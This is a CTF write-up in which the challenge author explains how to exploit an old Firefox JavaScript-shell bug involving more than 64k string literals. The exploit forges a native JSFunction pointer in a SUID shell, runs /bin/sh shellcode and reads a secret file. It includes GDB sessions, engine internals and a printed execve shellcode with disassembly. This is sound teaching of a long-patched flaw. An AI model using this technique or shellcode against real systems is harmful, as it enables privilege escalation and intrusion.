Mozilla CTF – Challenge 15 Walkthrough

Recently, Mozilla held a CTF (Capture the Flag) contest where teams had to solve a set of challenges from different areas of security. I was asked to create one of these challenges (CH15) and decided to use a real (old) Firefox JS engine vulnerability for that purpose. Of course, using Firefox itself would have been too heavy for the challenge, so I decided to setup an old (vulnerable) version of our JavaScript shell binary instead (which suffered the same vulnerability of course). That binary was installed SUID as some other user that had access to the secret required for scoring the challenge points. Additionally, things like address randomization and executable space protection were switched off. So from a high level perspective, the challenge was “easy”: Exploit the shell somehow to run arbitrary code, then read the file. However, the actual exploit was very complex; in fact nobody solved it on the regular way (at some point, certain teams found a format string vulnerability in the shell that they could exploit :D). As I consider the intended way of exploitation to be really interesting, I decided to write this walkthrough and hope you enjoy it.

Logging In

After logging in to the machine, we are not only given a JS binary that is SUID to some other user (one can imagine that it has access to the secret somehow), but we also get some JavaScript file called “regress-155081.js”. And that file has some impact:


$ ./js regress-155081.js
Segmentation fault

Uh hu, we crashed. Looking into the file we see some test information but mainly, the file is made up of this (long) code:


f('1','2','3','4');
f('5','6','7','8');
...
f('69997','69998','69999','70000')

Wow, that’s a lot of calls. From the bug number in the filename (and the file itself), we find quickly find bug 155081 but we also notice that the testcase in that bug does not crash our shell. We also notice there is a “haha;” in line 17436 which is not in the original test but will surely throw an exception for being an unbound identifier. Given that, it’s likely that it’s a related bug but not the one mentioned in the regression test. Some digging in 2011′s security advisories for Firefox however could bring you to this advisory which talks about 64k literals, sounds like what we have here. Finding that advisory and the associated bug report however isn’t required to solve the challenge, but it makes understanding the problem a lot easier and it also provides you with the necessary source code.

In GDB

So let’s have a look at the crash in GDB:


Program received signal SIGSEGV, Segmentation fault.
0x0805cb77 in OBJ_SCOPE (obj=0xd73d8ed7) at ../jsscope.h:347
(gdb) bt
#0 0x0805cb77 in OBJ_SCOPE (obj=0xd73d8ed7) at ../jsscope.h:347
#1 0x0817e474 in js_Interpret (cx=0x81b99e0) at ../jsops.cpp:4035
[...]
(gdb) x /2i $pc
=> 0x805cb77 : mov (%eax),%eax
0x805cb79 : pop %ebp
(gdb) info register eax
eax 0xd73d8ed7 -683831593

It seems like we are trying to access stuff at 0xd73d8ed7 which isn’t allocated. The question is now, where does that address come from? It’s not easy but there are several ways to figure this out, e.g. by scanning memory, playing around with the file, or by understanding how our string literals are stored/referred to in our script. In a nutshell, the interpreter in our JS engine has an “atom map”, which contains all the literals of the script. When referring to such a literal in the interpreter byte code, the code refers to the index in the atom map. Lets’ take a look at the existing opcodes in the source code. In js/src/jsopcode.tbl we have for example:


/* legend: op val name image len use def prec format */
OPDEF(JSOP_STRING, 61, "string", NULL, 3, 0, 1, 19, JOF_ATOM)

That’s the opcode that is supposed to be used for our string literals too, followed by two bytes indicating the index. In hex, that would be 0x3d 0xAL 0xAH to indicate index 0xAHAL (little endian). Note that we do have that pattern in our crash address. As we can influence the generated opcodes (by altering the script), we can try to verify our assumption. If our crash address really comes from the script’s opcodes, then replacing some opcode by a shorter opcode should modify our address. Let’s replace the first string literal “’1′” by “null” instead. In GDB we get:


Program received signal SIGSEGV, Segmentation fault.
0x0805cb77 in OBJ_SCOPE (obj=0x3d8ed73d) at ../jsscope.h:347

That’s our previous crash address, it’s just shifted it seems! :) So we can be pretty sure now that for some reason our crash address is influenced by the script’s code (in opcode form).

Automation and Pointer Control

It is always a good idea to automate things a bit. For the next step, I’d like to use a perl script that just composes our script as we need it. With our automated script we get:


obj address: 0x2dba3d2c

Very well, lets assume the 0x2dba is our index for the 0x3d opcode, that would be 47661 in decimal. We should try to modify the opcodes around the area in the script to see if we can influence the crash. We modify our script to try and replace a certain string literal with a high number literal that goes directly into the opcode (e.g. 0xFFFFFF which is small enough to be embedded in the opcode but also clearly visible). We get:


[...]
Q: 47658 Address: 0xba3d2bba
Q: 47659 Address: 0xba3dffff
Q: 47660 Address: 0xffffbc2c
Q: 47661 Address: 0x2dba3d2c
[...]

Nice! When replacing 47660, we actually overwrite the first two bytes of our object address. Before we continue, we should first think about what we actually would want “obj” to point at. Of course the best thing would be memory entirely controlled by us. One way to achieve that is including another string in the script, just for that purpose. Therefore we add some dead beef to our script now by having our perl script add var buf = '\uDEAD\uBEEF\uDEAD\uBEEF' at the beginning. Remember that messing with the script code also changes the generated opcodes and our crash address will likely change. Therefore, we rerun the modified script once more now:


Q: 47655 Address: 0x3d2aba3d
Q: 47656 Address: 0xffffffbc
Q: 47657 Address: 0xffbc2bba

Perfect. Not only do we have our own string buffer now (which we will have to locate in memory next), but we also control the first 3 bytes of the obj pointer (caused by shifting the opcodes) which should be sufficient.

Controlling the Object

In order to control the obj address being used here, we need to locate our own string buffer in memory:


(gdb) f 1
#1 0x0817e474 in js_Interpret (cx=0x81b99e0) at ../jsops.cpp:4035
(gdb) find /w /1 *script->atomMap.vector, 0xffffffff, 0xdeadbeef
0x81c384a
1 pattern found.
(gdb) x /8wx 0x81c384a - 4
0x81c3846: 0x00000035 0xdeadbeef 0xdeadbeef 0xdeadbeef
0x81c3856: 0xdeadbeef 0xdeadbeef 0xdeadbeef 0xdeadbeef

So our buffer starts at 0x081c384a. That means we should try to set our 3 controllable bytes to 0x081c38 and see if we can get anywhere :) Note that we need to turn the bytes around because we’re on little endian, so the decimal value of 3677192 (0x381c08) will do. With that, we get in GDB:


Program received signal SIGSEGV, Segmentation fault.
0x0817e474 in js_Interpret (cx=0x81b99e0) at ../jsops.cpp:4035
(gdb) x /2i $pc
=> 0x817e474 : mov 0x1c(%eax),%eax
0x817e477 : shl $0x2,%eax
(gdb) info register eax
eax 0xbeefdead -1091576147

So we control that object pointer now :) From here, there are probably a few ways to leverage this to arbitrary code execution. When I found this vulnerability in 2010, I wasn’t really experienced with the internals of the JS engine, so I simply searched for obvious uses of function pointers in the source code. It turned out that JSFunction objects look like a good target: While they all represent functions in JavaScript, they can either be backed by JavaScript (like any regular function defined in JS), or they can be natives which means they are implemented in C/C++. If a JSFunction is native, then it contains a function pointer to the C code. Of course that sounds suitable: If we controlled how the JSFunction looks like in memory, we can easily make up our own native function pointing to shell code. Now we only need to see how we can get a JSFunction into the game here.

Controlling a JSFunction

In order to know where to put the JS function, we need to think about why the code actually crashes. If you have the bug description, then you know by now that more than 64k literals were not supported (because the 0x3D opcode only allows two bytes for the atomMap offset to be specified, which can be at most 65535 therefore). In order to overcome that limitation, the developers added the following opcodes:


/*
* Opcodes to allow 24-bit atom or object indexes. Whenever an index exceeds
* the 16-bit limit, the index-accessing bytecode must be bracketed by
* JSOP_INDEXBASE and JSOP_RESETBASE to provide the upper bits of the index.
* See jsemit.c, EmitIndexOp.
*/
OPDEF(JSOP_INDEXBASE, 189,"atombase", NULL, 2, 0, 0, 0, JOF_UINT8|JOF_INDEXBASE)
OPDEF(JSOP_RESETBASE, 190,"resetbase", NULL, 1, 0, 0, 0, JOF_BYTE)
OPDEF(JSOP_RESETBASE0, 191,"resetbase0", NULL, 1, 0, 0, 0, JOF_BYTE)

So what is actually happening is that JSOP_INDEXBASE is emitted, indicating we want to use the “high” indexes, but then our “haha;” causes an exception, so we end up in the catch { } block with an inconsistency between our indexbase and our actual atomMap. Everything we do in the catch block that requires accessing the atomMap will therefore blow up. You may have noticed that we can even leave the catch block empty and still get our crash. That is because when entering the catch block, the JS engine already tries to load the scope object using the wrong index base. An empty catch block won’t help us much though, it seems more reasonable to attempt to create a function in the catch block that will actually be loaded from an address we control. There are probably multiple ways to achieve that (probably even easier ones than mine), but here’s what I did:

  1. Define a function “foo” globally that takes our function and executes it. For that purpose, I put function foo(x) { x(); } foo(print); right behind the definition of “f”. We also call the function at least once before we enter the catch block. It seems that the first call fills the property cache of the JS engine, affecting the later execution path.

  2. Call “foo” from within the catch block with our own function. The easiest possible function here is an anonymous function, like foo(function () { print('hax'); }); because that type of function does not register a name (which would also go to atomMap and crash us again). Loading the anonymous function will happen using the indexbase (which is still pointing to space we control), so we can control what is loaded.

As we changed the script code again, we have to readjust the index we’re replacing and possibly add some padding to get the pointer under our control again (works as demonstrated previously). The changed script looks like this. Note that we also changed “genbuf” to return something more sophisticated: Basically it returns a buffer with a pointer to the buffer itself (we previously saw that the engine tries to read a pointer from our buffer and use it). We also have to move that pointer a bit for it to be in the right place. With that buffer, we get past the previous crash and get:


Program received signal SIGSEGV, Segmentation fault.
0x0817a843 in js_Interpret (cx=0x81b99e0) at ../jsops.cpp:3238
The corresponding source is this:
BEGIN_CASE(JSOP_LAMBDA)
/* Load the specified function object literal. */
LOAD_FUNCTION(0);
obj = FUN_OBJECT(fun);
if (FUN_NULL_CLOSURE(fun)) { <- Crash

(gdb) p fun
$1 = (JSFunction *) 0x3d29ba3d

Seems like we are close to controlling the JSFunction*, it’s again in opcode world, actually only one literal further than the one we previously messed with! So we adjust the code once more to not only overwrite the literal we specified with the address, but also the following one (again with our buffer address of course). We also need to adjust our buffer further. Let’s have a look at how a JSFunction looks like (from jsfun.h):


struct JSFunction {
JSObject object; /* GC'ed object header */
uint16 nargs; /* maximum number of specified arguments,
reflected as f.length/f.arity */
uint16 flags; /* flags, see JSFUN_* below and in jsapi.h */
[...]

The “flags” parameter is interesting here because it decides how a JSFunction object is interpreted:

#define FUN_KIND(fun) ((fun)->flags & JSFUN_KINDMASK)
#define FUN_INTERPRETED(fun) (FUN_KIND(fun) >= JSFUN_INTERPRETED)

So we want to make sure that our function is not FUN_INTERPRETED by making our flags low. Additionally, in jsapi.h we have:

#define JSFUN_FAST_NATIVE 0x0800 /* JSFastNative needs no JSStackFrame */

Fast sounds good, native is even better ;) So we’re targeting this piece of code in the jsops.cpp line 2208 by setting fun->flags to 0×0800:

if (fun->flags & JSFUN_FAST_NATIVE) {
[...]
ok = ((JSFastNative) fun->u.n.native)(cx, argc, vp);

Of course, we also need to make sure fun->u.n.native is controlled by us, so we just use a large address slide after the flags field, containing our address (for now, 0xdeadbeef). The changes are in this script. Running it yields:


Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
#0 0xdeadbeef in ?? ()
#1 0x08176af4 in js_Interpret (cx=0x81b99e0) at ../jsops.cpp:2208

From here, it should be easy to complete the challenge with some shell code :D

Spawning the shell

All we have to do now is putting some shellcode in our buffer and run it by pointing our native function pointer to it. Here is some very simple code to start /bin/sh, taken from the web:


$ perl -e 'print "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"' | x86dis -e 0 -s att
00000000 31 C0 xor %eax, %eax
00000002 89 C2 mov %eax, %edx
00000004 50 push %eax
00000005 68 6E 2F 73 68 push $0x68732F6E
0000000A 68 2F 2F 62 69 push $0x69622F2F
0000000F 89 E3 mov %esp, %ebx
00000011 89 C1 mov %eax, %ecx
00000013 B0 0B mov $0x0B, %al
00000015 52 push %edx
00000016 51 push %ecx
00000017 53 push %ebx
00000018 89 E1 mov %esp, %ecx
0000001A CD 80 int $0x80

Of course we need to convert this into two-byte groups first and swap the bytes, so we can include it in the string buffer using our unicode format. Adding the shellcode to the end of our buffer and determining the address (either by bruteforcing the last two bytes or just looking it up in GDB), we end up with:


process 21287 is executing new program: /bin/dash
$

From here, it’s only one more step to the secret required for getting the 500 scorepoints that this challenge is worth. Taking a look at /home/ we see the other user’s home. Inside, we see a file called “secret”. Using “cat” on that file gives us the secret string.

The final version of the perl script is available here. Please note that addresses mentioned in this walkthrough are not necessarily correct for the original challenge or your own machine, so you might need to adjust them.

Conclusion and Acknowledgements

The challenge was not easy at all, especially if one lacked the source code and the correct bug number. Even with that information available, exploiting this vulnerability is not easy, but still interesting.

Thanks to freddyb and all the volunteers for organizing this CTF, it was a great experience. Thanks also to Maximilian Grothusmann (own-hero), Jason Orendorff and Luke Wagner (Mozilla JS Developers) to help me understand some of the internals of the JS engine, so I could describe them a lot better here.

Disclaimer

The exploit walkthrough described here was part of a challenge prepared by Mozilla itself, hosted in a controlled environment for educational purposes. The vulnerability exploited was old and patched long ago. Additionally, exploiting this vulnerability in Firefox requires a lot more effort than in the shell. The shell is primarily used as a debugging tool, end users should not be affected by this description at all.

No Comments Yet

You can be the first to comment!

Leave a Comment

  • Comment Policy:Could go here if there's a nagging need Login Instructions: Would go here if there's a desire.
This blog is protected by Dave\'s Spam Karma 2: 33745 Spams eaten and counting...